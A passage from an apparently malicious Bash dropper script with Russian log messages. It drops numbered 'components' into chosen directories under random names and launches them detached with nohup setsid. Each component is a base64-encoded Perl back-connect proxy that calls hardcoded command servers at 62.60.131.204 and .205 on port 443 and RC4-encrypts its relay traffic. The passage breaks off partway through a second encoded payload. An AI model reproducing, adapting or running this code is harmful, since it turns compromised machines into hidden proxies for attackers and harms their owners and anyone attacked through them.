RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #57 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #57 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 58 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #58 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #58 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 59 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt 